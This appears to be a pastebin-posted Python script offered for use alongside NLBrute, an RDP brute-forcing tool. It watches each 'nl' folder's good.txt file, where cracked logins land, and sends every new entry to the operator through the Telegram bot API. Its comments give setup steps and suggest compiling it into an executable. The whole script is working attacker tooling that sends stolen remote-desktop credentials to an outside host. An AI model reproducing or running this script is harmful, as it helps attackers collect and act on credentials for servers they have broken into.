· 4 years ago · Aug 16, 2021, 11:24 AM
1from requests import get
2from hashlib import sha256
3import os
4#--------ATTENTION-----------#
5# 1. dont use this code on a server that not for you , because admin of server can login to your bot
6# 2. start your bot after using this code
7# 3. your nlbrute folder name must start with "nl" , if your nlbrute folder named nl1 and in this path c:\users\admin\desktop\nl1 you must put this code in c:\users\admin\desktop
8# 4. this code can support multi nl folder, you just name your folders : nl1,nl2,nl3 ....
9# 4. recommended build this code with pyinsatller or nuitka to executable
10#---------CONFIG-------------#
11api_key = "" # get api key from @botfather
12admin = # this is your numeric id get it from @userinfobot
13#-------END CONFIG----------#
14def read(path):
15 return open(path,"r").read()
16def get_lastline(data):
17 for i in reversed(data.split("\n")):
18 if i != '' and i != "\x00":
19 if "\x00" in i:
20 i = i.replace("\x00",'')
21 return i
22def send(data):
23 get("https://api.telegram.org/bot"+api_key+"/sendmessage?chat_id="+str(admin)+"&text="+data)
24previous_cash = {}
25while True:
26 try:
27 cash = {}
28 for i in os.scandir(os.getcwd()):
29 if i.is_dir():
30 if "nl" in i.name:
31 if os.path.exists(os.getcwd()+"\\"+i.name+"\\good.txt"):
32 path = os.getcwd()+"\\"+i.name+"\\good.txt"
33 cash[i.name] = sha256(bytes(read(path),encoding="utf-8")).hexdigest()
34
35 for i in cash:
36 if i in previous_cash and cash[i] != previous_cash[i]:
37 send(get_lastline(read(os.getcwd()+"\\"+i+"\\good.txt")))
38 previous_cash = cash
39 except Exception:
40 pass
41